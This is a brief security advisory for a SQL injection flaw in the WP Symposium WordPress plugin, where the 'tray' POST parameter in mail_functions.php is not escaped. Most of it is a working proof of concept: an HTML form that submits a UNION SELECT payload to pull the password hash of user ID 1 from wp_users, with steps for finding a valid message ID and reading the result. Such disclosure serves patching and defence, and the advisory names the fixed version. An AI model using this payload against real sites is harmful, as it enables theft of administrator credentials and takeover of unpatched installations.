1. Description

$_POST['tray'] is not escaped.

File: wp-symposium\ajax\mail_functions.php
$tray = $_POST['tray'];

2. Proof of Concept

Message ID must be one of your sended message (you can check this on user mailbox page -> sent items -> page source -> div id="this_is_message_id" class="mail_item mail_item_unread")

<form method="post" action="http://wordpress-instalation/wp-content/plugins/wp-symposium/ajax/mail_functions.php">
<input type="hidden" name="action" value="getMailMessage">
Message ID: <input type="text" name="mid"><br />
SQL: <input type="text" name="tray" value="in_deleted = 1 UNION (SELECT user_pass FROM wp_users WHERE ID=1) LIMIT 1, 1 -- ">
<input type="submit" value="Inject">
</form>

Returned value will be between "[split]YOUR_RETURNED_VALUE[split]"

3. Solution:

Update to version 14.11
